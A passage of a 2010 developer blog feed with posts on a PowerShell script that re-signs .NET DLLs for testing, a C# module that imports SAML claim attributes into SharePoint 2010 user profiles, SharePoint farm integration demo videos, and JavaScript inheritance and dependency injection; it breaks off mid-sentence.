unsigned dlls - but that quickly turns hairy as well, when the webpart's ui has to call into and retrieve values from the unsigned dlls.&lt;br /&gt;&lt;br /&gt;So, for test and development purposes, what I decided to do was write a PowerShell script which:&lt;ul&gt;&lt;li&gt;Disassembles all dlls in a folder&lt;br /&gt;&lt;li&gt;Parses the IL and updates references between the dlls, in order to point to their newly signed counterparts&lt;br /&gt;&lt;li&gt;Assembles and signs all dlls with a supplied key&lt;br /&gt;&lt;/ul&gt;And that amounts to the following:&lt;br /&gt;&lt;pre class="brush: plain;"&gt;&lt;br /&gt;param($keyfile = $(throw "Specify keyfile"), $backupFolder = "SignBackup")&lt;br /&gt;function get-publickeytoken($keyfile) {&lt;br /&gt;    $tempfile = [io.path]::GetTempFileName()&lt;br /&gt;    sn -q -p $keyfile $tempfile&lt;br /&gt;    $token = sn -q -t $tempfile&lt;br /&gt;    rm $tempfile&lt;br /&gt;    $token -replace ".*is ",''&lt;br /&gt;}&lt;br /&gt;function get-ilkeytoken($token) {&lt;br /&gt;    "($($token -replace "([A-f0-9]{2})",'$1 '))"&lt;br /&gt;}&lt;br /&gt;$token = get-ilkeytoken(get-publickeytoken $keyfile)&lt;br /&gt;$cd = get-location&lt;br /&gt;$filesToClean = @()&lt;br /&gt;# update il&lt;br /&gt;gci *.dll | %{&lt;br /&gt;    $dll = $_&lt;br /&gt;    $fn = [system.io.path]::GetFileNameWithoutExtension($dll)&lt;br /&gt;    $ilFile = "$fn.il"&lt;br /&gt;    $filesToClean += "$ilFile","$fn.res"&lt;br /&gt;    ildasm $dll /out:$ilFile &amp;gt;$null&lt;br /&gt;    $ilFilePath = "$cd\$fn`.il"&lt;br /&gt;    $il = [io.file]::readalltext($ilFilePath)&lt;br /&gt;    write-host -ForegroundColor Blue Processing references for $dll&lt;br /&gt;    [regex]::matches($IL, "\.assembly extern (.*?)\r\n") | %{ &lt;br /&gt;        # has external references&lt;br /&gt;        $reference = $_.groups[1]&lt;br /&gt;        $referencePath = "$cd\$reference`.dll"&lt;br /&gt;        if ([io.file]::exists($referencePath)) {&lt;br /&gt;            # it's a local reference            &lt;br /&gt;            if ($il -match ".assembly extern $reference\r\n{[^}]*\r\n\s*\.publickeytoken") {&lt;br /&gt;                # already has a strongname&lt;br /&gt;                $il = [regex]::Replace($il, &lt;br /&gt;                                       "(extern $reference\r\n{[^}]*)\r\n\s*.publickeytoken\s*=\s*.*?`$([^}]*)", &lt;br /&gt;                                       "`$1`r`n  .publickeytoken = $token`$2", &lt;br /&gt;                                       [Text.RegularExpressions.RegexOptions]::Multiline)&lt;br /&gt;                write-host -ForegroundColor DarkBlue Updated reference to $reference - Changed PublicKeyToken&lt;br /&gt;            }&lt;br /&gt;            else {&lt;br /&gt;                # has no strong name&lt;br /&gt;                $il = [regex]::Replace($il, &lt;br /&gt;                                       "(extern $reference\r\n{)", &lt;br /&gt;                                       "`$1`r`n  .publickeytoken = $token", &lt;br /&gt;                                       [Text.RegularExpressions.RegexOptions]::Multiline)&lt;br /&gt;                write-host -ForegroundColor DarkBlue Updated reference to $reference - Added PublicKeyToken&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    set-content -path $ilFilePath $il&lt;br /&gt;}&lt;br /&gt;# rebuild dlls&lt;br /&gt;rmdir -confirm:$false -r -force $backupFolder 2&amp;gt;$null&lt;br /&gt;$null = mkdir $backupFolder&lt;br /&gt;gci *.dll | %{&lt;br /&gt;    $dll = $_&lt;br /&gt;    $fn = [system.io.path]::GetFileNameWithoutExtension($dll)&lt;br /&gt;    $ilFile = "$fn.il"&lt;br /&gt;    ilasm $ilFile /res:$fn.res /dll /key:key.snk /out:$fn-signed.dll &amp;gt;$null&lt;br /&gt;    $ok = sn -vf $fn-signed.dll&lt;br /&gt;    if ($ok -match "is valid") {    &lt;br /&gt;        mv $dll $backupFolder&lt;br /&gt;        mv $fn-signed.dll $dll&lt;br /&gt;        write-host -ForegroundColor Green Signed $dll&lt;br /&gt;    }&lt;br /&gt;    else {&lt;br /&gt;        write-host -ForegroundColor Red Failed to sign $dll&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;write-host -NoNewline -ForegroundColor Gray Removing temporary files&lt;br /&gt;$filesToClean | %{&lt;br /&gt;    write-host -NoNewline -ForegroundColor Gray .&lt;br /&gt;    rm $_&lt;br /&gt;}&lt;br /&gt;write-host&lt;/pre&gt;&lt;br /&gt;And here's a screencast of it running: &lt;a href="http://screencast.com/t/Y1t1dcRjN" target="_blank"&gt;http://screencast.com/t/Y1t1dcRjN&lt;/a&gt;.&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/tJtOcSiYZQk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/6831158063559231956/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=6831158063559231956" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/6831158063559231956?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/6831158063559231956?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/tJtOcSiYZQk/automated-signing-of-unsigned-net-dlls.html" title="Automated signing of unsigned .NET dlls, and updating references between them" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/11/automated-signing-of-unsigned-net-dlls.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEANRXo8fCp7ImA9Wx9SFks.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-5860686212751726807</id><published>2010-10-12T23:09:00.004+02:00</published><updated>2010-12-06T20:13:14.474+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-12-06T20:13:14.474+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint 2010" /><category scheme="http://www.blogger.com/atom/ns#" term="c#" /><title>Importing user profile attributes from Claims based security tokens in SharePoint 2010</title><content type="html">With the relatively new (August) labs release of Azure Access Control Service (ACS) version 2, there's been a rush of articles on how to authenticate to SharePoint 2010 through that. The benefit of using ACSv2 is the near immediate support for authenticating against both Windows Live, Google, Yahoo and Facebook.&lt;br /&gt;&lt;br /&gt;My approach to familiarizing myself with ASCv2, and Claims in SharePoint as such, was to read most of the source code of the Windows Identity Foundation dlls - and especially those brought into the SharePoint namespace. Recently, however, quite detailed how-to-articles have surfaced - so if you're new to it now, there's no need to follow my awkward route to Rome :) If you're looking for info on how to do the initial setup of ACSv2, I suggest looking to Travis Nielsen's blog post, &lt;a href="http://blogs.pointbridge.com/Blogs/nielsen_travis/Pages/Post.aspx?_ID=38" target="_blank"&gt;found here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;If you're still reading, I'm guessing you're more interested in what to do with the claim sets once you've actually got ACSv2 integrated in your environment.&lt;br /&gt;&lt;br /&gt;While SharePoint 2010 supporting claims based identity management is a great thing; there was one thing I really wished for out of the box, when I first started poking with it. When you're working with identity information from AD or similar directories within your organization, you usually import profile fields after bringing new users into the system. When identities are provided by ACSv2, and e.g. Google's OAuth identity provider, SharePoint will rely an identity claim type you provide. This could be "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress" for Google OAuth - which means that a newly added user will have his email address as userid. The same field's data will be put in the user profile's name field, and as such be the value shown in the top-right corner once logged in.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_rBg2qaJ_4Bw/TLQeIIUs0KI/AAAAAAAAEL0/R93qcB0B1AU/s1600/2010-10-12_1036.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 281px; height: 181px;" src="http://3.bp.blogspot.com/_rBg2qaJ_4Bw/TLQeIIUs0KI/AAAAAAAAEL0/R93qcB0B1AU/s320/2010-10-12_1036.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5527075767712534690" /&gt;&lt;/a&gt;&lt;span style="position: relative; top: -15px; font-size: 7pt"&gt;Image courtesy of Travis Nielsen&lt;/span&gt;&lt;/center&gt;&lt;br /&gt;ACSv2 will actually let you provide more than just the identity field to the requesting application, however. At the time of writing, Windows Live through ACSv2 will only provide the somewhat obscurely encoded "nameidentifier", but the Google and Yahoo identity providers also supply a full name, email address and possibly more.&lt;br /&gt;&lt;br /&gt;This means that one could see the following flow of operations when adding a new user:&lt;ol&gt;&lt;br /&gt;&lt;li&gt;Admin adds new user's identity email address, such as einar@contoso.com, which could be associated with one of ACSv2's identity providers.&lt;br /&gt;&lt;li&gt;SharePoint internally creates a new user object, and sets the loginname and name fields to einar@contoso.com&lt;br /&gt;&lt;li&gt;User comes to SharePoint portal, and authenticates against whichever identity provider he's associated with.&lt;br /&gt;&lt;li&gt;A custom SharePoint addon notices the new claims based authentication request, and examines the other attributes sent by the identity provider. If it finds a attribute of type "name" (with value "Einar Stangvik"), and the user's current name is the same as his loginname (einar@contoso.com) - which indicates that the user hasn't changed it yet; it replaces the value with the claims provided value.&lt;br /&gt;&lt;li&gt;... Repeat for other interesting claims-provided fields&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;The result would be a user logged on for the first time, with relevant fields imported and ready to go. Rather than seeing an obscure identifier or an email address in the top right corner of the screen, he or she would see her or his real name.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_rBg2qaJ_4Bw/TLQi5cEvgHI/AAAAAAAAEL8/ayf95i4xfeg/s1600/2010-10-12_1056.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 129px;" src="http://3.bp.blogspot.com/_rBg2qaJ_4Bw/TLQi5cEvgHI/AAAAAAAAEL8/ayf95i4xfeg/s320/2010-10-12_1056.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5527081012874412146" /&gt;&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;If you wish to give this a go, here's a pre-packed wsp: &lt;a href="http://dl.dropbox.com/u/1878671/Grep.SharePoint.ImportClaimsFields.wsp"&gt;Grep.SharePoint.ImportClaimsFields.wsp&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Do note that I consider this slightly experimental, although stable in test against the current ACS labs release. Use it and develop it at your own risk. &lt;br /&gt;&lt;br /&gt;If you're more interested in the source code itself, here's the important parts from the HTTPModule:&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;namespace Grep.SharePoint.ImportClaimsFields&lt;br /&gt;{&lt;br /&gt;    using System;&lt;br /&gt;    using System.Collections.Generic;&lt;br /&gt;    using System.IdentityModel.Tokens;&lt;br /&gt;    using System.Linq;&lt;br /&gt;    using System.Web;&lt;br /&gt;    using Microsoft.IdentityModel.Tokens.Saml11;&lt;br /&gt;    using Microsoft.IdentityModel.Web;&lt;br /&gt;    using Microsoft.SharePoint;&lt;br /&gt;&lt;br /&gt;    public class ClaimsAuthenticationListenerModule : IHttpModule&lt;br /&gt;    {&lt;br /&gt;        private Dictionary&amp;lt;string, ProcessAttributeDelegate&amp;gt; _attributeHandlers;&lt;br /&gt;        private SamlSecurityToken _token;&lt;br /&gt;&lt;br /&gt;        #region Methods: private&lt;br /&gt;&lt;br /&gt;        private void OnSecurityTokenReceived(object sender, SecurityTokenReceivedEventArgs e)&lt;br /&gt;        {&lt;br /&gt;            _token = e.SecurityToken as SamlSecurityToken;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        private void OnSignedIn(object sender, EventArgs e)&lt;br /&gt;        {            &lt;br /&gt;            if (_token != null)&lt;br /&gt;            {&lt;br /&gt;                var assertion = _token.Assertion as Saml11Assertion;&lt;br /&gt;                if (assertion != null)&lt;br /&gt;                {&lt;br /&gt;                    foreach (&lt;br /&gt;                        SamlAttributeStatement attributeStatement in&lt;br /&gt;                            assertion.Statements.OfType&amp;lt;SamlAttributeStatement&amp;gt;())&lt;br /&gt;                    {&lt;br /&gt;                        foreach (SamlAttribute attribute in attributeStatement.Attributes)&lt;br /&gt;                        {&lt;br /&gt;                            string key = (attribute.Namespace + "/" + attribute.Name).ToLower();&lt;br /&gt;                            if (_attributeHandlers.ContainsKey(key))&lt;br /&gt;                            {&lt;br /&gt;                                _attributeHandlers[key](attribute);&lt;br /&gt;                            }&lt;br /&gt;                        }&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;                _token = null;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        private void ProcessEmail(SamlAttribute attribute)&lt;br /&gt;        {&lt;br /&gt;            SPContext.Current.Web.AllowUnsafeUpdates = true;&lt;br /&gt;            try&lt;br /&gt;            {&lt;br /&gt;                var user = SPContext.Current.Web.CurrentUser;&lt;br /&gt;                var value = attribute.AttributeValues.FirstOrDefault(v =&amp;gt; String.IsNullOrEmpty(v) == false);&lt;br /&gt;                if (user != null &amp;amp;&amp;amp; value != null)&lt;br /&gt;                {&lt;br /&gt;                    if (string.IsNullOrEmpty(user.Email))&lt;br /&gt;                    {&lt;br /&gt;                        user.Email = value;&lt;br /&gt;                        user.Update();&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            finally&lt;br /&gt;            {&lt;br /&gt;                SPContext.Current.Web.AllowUnsafeUpdates = false;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        private void ProcessName(SamlAttribute attribute)&lt;br /&gt;        {&lt;br /&gt;            SPContext.Current.Web.AllowUnsafeUpdates = true;&lt;br /&gt;            try&lt;br /&gt;            {&lt;br /&gt;                var user = SPContext.Current.Web.CurrentUser;&lt;br /&gt;                var value = attribute.AttributeValues.FirstOrDefault(v =&amp;gt; String.IsNullOrEmpty(v) == false);&lt;br /&gt;                if (user != null &amp;amp;&amp;amp; value != null)&lt;br /&gt;                {&lt;br /&gt;                    var identity = HttpContext.Current.User.Identity.Name.Split('|').LastOrDefault();&lt;br /&gt;                    if (identity != null)&lt;br /&gt;                    {&lt;br /&gt;                        identity = HttpUtility.UrlDecode(identity);&lt;br /&gt;                        if (string.IsNullOrEmpty(user.Name) || user.Name == identity)&lt;br /&gt;                        {&lt;br /&gt;                            user.Name = value;&lt;br /&gt;                            user.Update();&lt;br /&gt;                        }&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            finally&lt;br /&gt;            {&lt;br /&gt;                SPContext.Current.Web.AllowUnsafeUpdates = false;                &lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        #endregion&lt;br /&gt;&lt;br /&gt;        #region IHttpModule Methods&lt;br /&gt;&lt;br /&gt;        public void Dispose()&lt;br /&gt;        {&lt;br /&gt;            _token = null;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        public void Init(HttpApplication context)&lt;br /&gt;        {&lt;br /&gt;            _attributeHandlers = new Dictionary&amp;lt;string, ProcessAttributeDelegate&amp;gt;&lt;br /&gt;                           {&lt;br /&gt;                               {"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress", ProcessEmail},&lt;br /&gt;                               {"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name", ProcessName}&lt;br /&gt;                           };&lt;br /&gt;            var otherModule = context.Modules["FederatedAuthentication"] as WSFederationAuthenticationModule;&lt;br /&gt;            if (otherModule != null)&lt;br /&gt;            {&lt;br /&gt;                otherModule.SecurityTokenReceived += OnSecurityTokenReceived;&lt;br /&gt;                otherModule.SignedIn += OnSignedIn;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        #endregion&lt;br /&gt;&lt;br /&gt;        #region Nested type: ProcessAttributeDelegate&lt;br /&gt;&lt;br /&gt;        private delegate void ProcessAttributeDelegate(SamlAttribute attribute);&lt;br /&gt;&lt;br /&gt;        #endregion&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/RfD8Fv_0ZqM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/5860686212751726807/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=5860686212751726807" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/5860686212751726807?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/5860686212751726807?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/RfD8Fv_0ZqM/importing-user-profile-attributes-from.html" title="Importing user profile attributes from Claims based security tokens in SharePoint 2010" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_rBg2qaJ_4Bw/TLQeIIUs0KI/AAAAAAAAEL0/R93qcB0B1AU/s72-c/2010-10-12_1036.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/09/importing-user-profile-attributes-from.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEUARH89eCp7ImA9Wx5bEU0.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-2915554687563069764</id><published>2010-10-08T11:55:00.007+02:00</published><updated>2010-10-26T16:10:45.160+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-10-26T16:10:45.160+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint 2010" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint" /><title>Disjoint SharePoint Farm Integration Examples: Drag'n'drop file transfer</title><content type="html">These two video demonstrations show parts of a framework I'm working on, which can connect otherwise severely disjoint SharePoint farms. Both show drag and drop capabilities between an intranet available in the local network and an external farm. The external farm need not be directly connectible from the client computer.&lt;br /&gt;&lt;br /&gt;The first video is annotated, so it should speak for itself. Buzzwords include Claims, Azure, ACS, Google OAuth, drag and drop.&lt;br /&gt;&lt;br /&gt;The second will show an embedded view of a completely unchanged SharePoint 2007 portal hosted at Microsoft Online (BPOS). In both videos, the outer intranet is a SharePoint 2010 site.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;object id="scPlayer" class="embeddedObject" width="575" height="356" type="application/x-shockwave-flash" data="http://content.screencast.com/users/einaros/folders/Jing/media/6702c0e5-ab12-4e27-9e82-f91bc0a2f4eb/mp4h264player.swf" &gt; &lt;param name="movie" value="http://content.screencast.com/users/einaros/folders/Jing/media/6702c0e5-ab12-4e27-9e82-f91bc0a2f4eb/mp4h264player.swf" /&gt; &lt;param name="quality" value="high" /&gt; &lt;param name="bgcolor" value="#FFFFFF" /&gt; &lt;param name="flashVars" value="thumb=http://content.screencast.com/users/einaros/folders/Jing/media/6702c0e5-ab12-4e27-9e82-f91bc0a2f4eb/FirstFrame.png&amp;containerwidth=1116&amp;containerheight=690&amp;showstartscreen=true&amp;showendscreen=true&amp;loop=false&amp;autostart=false&amp;color=1A1A1A,1A1A1A&amp;thumb=FirstFrame.png&amp;thumbscale=45&amp;content=http://content.screencast.com/users/einaros/folders/Jing/media/6702c0e5-ab12-4e27-9e82-f91bc0a2f4eb/spfarmintegration.mp4&amp;blurover=false" /&gt; &lt;param name="allowFullScreen" value="true" /&gt; &lt;param name="scale" value="showall" /&gt; &lt;param name="allowScriptAccess" value="always" /&gt; &lt;param name="base" value="http://content.screencast.com/users/einaros/folders/Jing/media/6702c0e5-ab12-4e27-9e82-f91bc0a2f4eb/" /&gt; &lt;iframe type="text/html" frameborder="0" scrolling="no" style="overflow:hidden;" src="http://www.screencast.com/users/einaros/folders/Jing/media/6702c0e5-ab12-4e27-9e82-f91bc0a2f4eb/embed" height="356" width="575" &gt;&lt;/iframe&gt; &lt;/object&gt;&lt;a href="http://www.screencast.com/t/oJbudgHV5Zd" target="_blank" style="font-size: small"&gt;Larger View&lt;/a&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Microsoft Online example:&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;object id="scPlayer" class="embeddedObject" width="575" height="313" type="application/x-shockwave-flash" data="http://content.screencast.com/users/einaros/folders/Jing/media/411255c3-a9db-49b4-8370-0e92ec4fc62e/jingh264player.swf" &gt; &lt;param name="movie" value="http://content.screencast.com/users/einaros/folders/Jing/media/411255c3-a9db-49b4-8370-0e92ec4fc62e/jingh264player.swf" /&gt; &lt;param name="quality" value="high" /&gt; &lt;param name="bgcolor" value="#FFFFFF" /&gt; &lt;param name="flashVars" value="thumb=http://content.screencast.com/users/einaros/folders/Jing/media/411255c3-a9db-49b4-8370-0e92ec4fc62e/FirstFrame.jpg&amp;containerwidth=1416&amp;containerheight=772&amp;content=http://content.screencast.com/users/einaros/folders/Jing/media/411255c3-a9db-49b4-8370-0e92ec4fc62e/2010-10-08_1130.mp4&amp;blurover=false" /&gt; &lt;param name="allowFullScreen" value="true" /&gt; &lt;param name="scale" value="showall" /&gt; &lt;param name="allowScriptAccess" value="always" /&gt; &lt;param name="base" value="http://content.screencast.com/users/einaros/folders/Jing/media/411255c3-a9db-49b4-8370-0e92ec4fc62e/" /&gt; &lt;iframe type="text/html" frameborder="0" scrolling="no" style="overflow:hidden;" src="http://www.screencast.com/users/einaros/folders/Jing/media/411255c3-a9db-49b4-8370-0e92ec4fc62e/embed" height="313" width="575" &gt;&lt;/iframe&gt;&lt;/object&gt;&lt;a href="http://www.screencast.com/t/FzdIJ7iBi" target="_blank" style="font-size: small"&gt;Larger View&lt;/a&gt;&lt;br /&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update:&lt;/b&gt; Here's &lt;a href="http://screencast.com/t/CQa4nrja" target="_blank"&gt;yet another example&lt;/a&gt;, showing multi-file copy as well.&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/UBJ27H5ZaeU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/2915554687563069764/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=2915554687563069764" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/2915554687563069764?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/2915554687563069764?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/UBJ27H5ZaeU/disjoint-sharepoint-farm-integration.html" title="Disjoint SharePoint Farm Integration Examples: Drag'n'drop file transfer" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/10/disjoint-sharepoint-farm-integration.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CE4NQXwycSp7ImA9Wx5QGEQ.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-7775342454276114381</id><published>2010-09-07T09:58:00.017+02:00</published><updated>2010-09-07T22:56:30.299+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-09-07T22:56:30.299+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="JavaScript" /><title>Inheritance, member attributes and Dependency Injection in JavaScript</title><content type="html">I've been working on a real-time collaboration (operational transforms for various types and structures) framework for C# for some time now. A month or so ago, seeking an excuse to give node.js a go, as well as to broaden my appreciation for javascript even further, I decided to attempt a rewrite of my libraries thus far to js.&lt;br /&gt;&lt;br /&gt;Along this path, I found myself seeking constructs not completely native to javascript, such as proper inheritance, and eventually dependency injection / ioc containers. John Resig of jQuery fame has written one inheritance base class, aptly named Class (&lt;a href="http://ejohn.org/blog/simple-javascript-inheritance/" target="_blank"&gt;available here&lt;/a&gt;), which is based on principles from base2 and Prototype. I've used this base class a lot in the past, so it was a prime candidate for my own additions.&lt;br /&gt;&lt;br /&gt;I did make some changes to the John's Class, such as enabling getter / setter only members in a base class. With the original Class framework, given a getter in a base class, calling extend() on this base would cause the getter to be called. In my extend(), getters and setters are looked up and cloned if they are there, rather than cloning their return values. This also means that a setter is not added to a derived class, if a getter was all it had, and vice versa.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Serialization and such&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Dealing heavily with serialization, I decided to stick another piece of clutter into the extend method - allowing you to optionally supply a name of the class you're creating. This will in turn be stored in any instance of the class as the string member "__type". Alone, this would be clutter and nothing more, but I also added a few helper objects to the Class framework named 'cast' and 'clone'. &lt;br /&gt;&lt;br /&gt;&lt;i&gt;Class.cast(source, type)&lt;/i&gt; will take an existing instance and recreate it, keeping all references to its members, as an object which yields true for &lt;i&gt;castRet instanceof type&lt;/i&gt;. This is helpful e.g. when dealing with JSON parsed objects, as the deserialized objects - although having the correct members - won't have the prototype, nor constructor, of the type they were serialized from, and thus won't hold up in an instanceof check.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Class.clone(source, typesource)&lt;/i&gt; will take an existing instance and do a deep copy of it. The cloned object, and (recursively) all of its cloned child objects, will be cast to the proper type from typesource (e.g. window) - given that they have a __type member. This ensures both a deep copy *and* objects which yield true for instanceof checks.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Dependency injection and attributes&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Next on my feature wish list was the ability to provision a hierarchy of objects with root configurable dependencies. In other words, dependency injection (or DI). This pattern essentially rids you of having to knowingly construct and pass around service implementing objects. &lt;br /&gt;&lt;br /&gt;In the case of my collaboration framework, hierarchies of elements (e.g. containers with other containers and elements in them) could require a reference to a central event aggregator - to and from which they will publish and subscribe to events, to and from other elements. Doing this without a dependency injection mechanism would mean manually passing references throughout the hierarchy, or instantiating them wherever needed - something I could easily mess up. Dependency injection gives you a single point of configuration for your dependencies, and that's a good thing.&lt;br /&gt;&lt;br /&gt;To implement automatic dependency injection, I decided to bring the concept of attribute code to javascript. Not necessarily the prettiest construct you ever saw - or immediately the clearest - but it does gradually get better.&lt;br /&gt;&lt;br /&gt;Imagine classes Other, Base and Derived:&lt;br /&gt;&lt;pre class="brush: js;"&gt;&lt;br /&gt;var Other = Class.extend({&lt;br /&gt;    init: function() &lt;br /&gt;    {&lt;br /&gt;        this.value = 42; &lt;br /&gt;    }&lt;br /&gt;});&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;var Base = Class.extend({});&lt;br /&gt;var Derived = Base.extend({&lt;br /&gt;    init: function() {}&lt;br /&gt;});&lt;/pre&gt;&lt;br /&gt;I want to express that Derived depends on an instance of type Other, without having to accept, assign and pass it around myself. Given yet another extension I made to the Class framework, namely the &lt;i&gt;ClassAttribute&lt;/i&gt; class, implementing a DI container and matching attribute to do this was simple. &lt;br /&gt;&lt;br /&gt;The base ClassAttribute has nothing but an 'actualize(instance)' member function. Whenever the Class framework constructor finds one of these ClassAttributes in the prototype of a class it's instantiating, it will assign the instance with the result from calling type.prototype.attribute.actualize(instance). Since the base ClassAttribute's actualize returns null, this means that an instance of the class will never have a member which is an instanceof ClassAttribute - it will either be null, or something you supply from a derived attribute class.&lt;br /&gt;&lt;br /&gt;In the case of my wish for expressing dependencies, I wrote a derived DependencyAttribute, the constructor of which accepts a type name, and an actualize which returns an instance set on the DependencyAttribute. Expanding the Derived class above amounts to:&lt;br /&gt;&lt;pre class="brush: js;"&gt;&lt;br /&gt;var Derived = Base.extend({&lt;br /&gt;    // The following member value (DepAttribute instance) will *never* be part of a Derived instance. &lt;br /&gt;    // 'member' will either be null, or an instance of Other (or something derived from Other). The&lt;br /&gt;    // DependencyAttribute will be present in the prototype only.&lt;br /&gt;    member: new DependencyAttribute("Other"),&lt;br /&gt;    init: function() {}&lt;br /&gt;});&lt;/pre&gt;&lt;br /&gt;A word of caution here, though - with the Class framework it's a bad idea to declare and assign members other than ClassAttribute derived ones in the object you pass to extend. All instances here will be part of the class' prototype, which in turn means that all instances of your class will share the same member instance. Seeing as my extension of Class deals with members which are instances of ClassAttribute, that rule does not apply for their kind.&lt;br /&gt;&lt;br /&gt;The final piece to this puzzle, then, is the DI container. At present it's a fairly basic implementation, but it does handle recursive dependency injects and detects cyclic dependencies.&lt;br /&gt;&lt;br /&gt;Given that the adapted Class framework processes and actualizes attributes, prior to calling an instance's constructor, implementing what I called &lt;i&gt;CoffeeContainer&lt;/i&gt; meant simply 